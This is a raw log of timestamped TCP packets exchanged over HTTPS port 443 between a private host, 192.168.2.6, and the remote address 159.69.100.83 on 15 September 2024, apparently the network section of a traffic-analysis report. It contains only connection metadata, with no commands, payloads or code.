Sep 15, 2024 19:37:16.878165007 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.894087076 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.894133091 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.894171000 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.894177914 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.894207001 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.894222975 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.908937931 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.908982038 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.909037113 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.909054995 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.909084082 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.909101963 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.926023006 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.926038980 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.926220894 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.926245928 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.926327944 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.934395075 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.934417963 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.934482098 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.934501886 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.934515953 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.934545994 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.942230940 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.942250967 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.942354918 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.942378998 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.942428112 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.953244925 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.953269958 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.953372955 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.953382969 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.953428984 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.959299088 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.959315062 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.959388018 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.959394932 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.959448099 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.966828108 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.966845989 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.966909885 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.966917992 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.966959000 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.977809906 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.977821112 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.977896929 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.977906942 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.977957964 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.993532896 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.993541956 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.993624926 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.993633986 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.993669033 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.005105972 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.005124092 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.005204916 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.005213022 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.005254984 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.016415119 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.016431093 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.016504049 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.016511917 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.016550064 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.026503086 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.026521921 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.026585102 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.026592970 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.026635885 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.036164045 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.036189079 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.036232948 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.036241055 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.036279917 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.043818951 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.043842077 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.043942928 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.043951988 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.043992043 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.052557945 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.052575111 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.052654028 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.052664042 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.052700043 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.059988022 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.060003996 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.060091019 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.060098886 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.060146093 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.073884010 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.073971033 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.073982000 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.074039936 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.074429035 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.074449062 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.074461937 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.074496984 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.075156927 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.075195074 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.075269938 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.075624943 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.075637102 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.719609976 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.721383095 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.721993923 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.722001076 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:17.724477053 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:17.724483013 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.144977093 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.145004988 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.145021915 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.145097971 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.145138025 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.145200968 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.175018072 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.175050020 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.175174952 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.175195932 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.177647114 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.241683960 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.241712093 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.241940022 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.241976023 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.243278027 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.275346994 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.275367975 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.275511026 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.275527000 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.279247999 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.309612989 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.309636116 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.309782028 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.309797049 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.311244011 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.334011078 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.334033012 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.334202051 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.334214926 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.334258080 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.354176998 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.354204893 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.354370117 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.354382038 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.354427099 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.369673014 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.369704962 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.369797945 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.369811058 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.369846106 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.387794018 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.387819052 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.387897015 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.387907982 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.391247034 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.405786991 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.405881882 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.405913115 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.405946970 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.405978918 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.406002045 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.419564009 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.419611931 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.419656038 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.419672966 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.419708967 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.419729948 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.435096979 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.435146093 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.435228109 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.435245991 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.435280085 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.435300112 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.447101116 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.447164059 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.447196960 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.447212934 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.447244883 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.447264910 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.458096981 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.458138943 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.458206892 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.458221912 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.458256006 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.458271027 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.465949059 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.465996981 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.466056108 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.466074944 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.466114998 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.467241049 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.472045898 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.472107887 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.472150087 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.472157001 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.472186089 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.472229004 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.485193014 CEST	49736	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.485224962 CEST	443	49736	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.493662119 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.493721008 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:18.494900942 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.497678041 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:18.497700930 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.176832914 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.176983118 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.177500963 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.177514076 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.179667950 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.179672956 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.617611885 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.617671013 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.617687941 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.617712021 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.617736101 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.617741108 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.617799997 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.617808104 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.617852926 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.649394989 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.649442911 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.649516106 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.649543047 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.649559975 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.649594069 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.717767000 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.717813015 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.717874050 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.717883110 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.717921972 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.749882936 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.749954939 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.750004053 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.750017881 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.750046015 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.750089884 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.784593105 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.784648895 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.784694910 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.784704924 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.784704924 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.784769058 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.785077095 CEST	49737	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.785093069 CEST	443	49737	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.785984993 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.786011934 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:19.786076069 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.786343098 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:19.786350965 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:20.447755098 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:20.447910070 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:20.448517084 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:20.448538065 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:20.451397896 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:20.451421022 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.046799898 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.046861887 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.046905041 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.046910048 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.046936989 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.046947002 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.046991110 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.047060013 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.047113895 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.047127008 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.047154903 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.047171116 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.047194958 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.061419010 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.061465979 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.061496973 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.061511040 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.061554909 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.072899103 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.072943926 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.072969913 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.072981119 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.073005915 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.073024988 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.099273920 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.099293947 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.099374056 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.099390984 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.099428892 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.114653111 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.114671946 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.114711046 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.114717960 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.114744902 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.114762068 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.129205942 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.129252911 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.129281044 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.129287004 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.129317999 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.129337072 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.143728971 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.143776894 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.143804073 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.143815994 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.143837929 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.143857002 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.158310890 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.158356905 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.158418894 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.158431053 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.158458948 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.158478022 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.172705889 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.172756910 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.172813892 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.172826052 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.172856092 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.172878027 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.187104940 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.187150955 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.187217951 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.187225103 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.187257051 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.187338114 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.201603889 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.201621056 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.201703072 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.201710939 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.201749086 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.216088057 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.216110945 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.216211081 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.216224909 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.216259956 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.230344057 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.230365992 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.230454922 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.230473995 CEST	443	49738	159.69.100.83	192.168.2.6
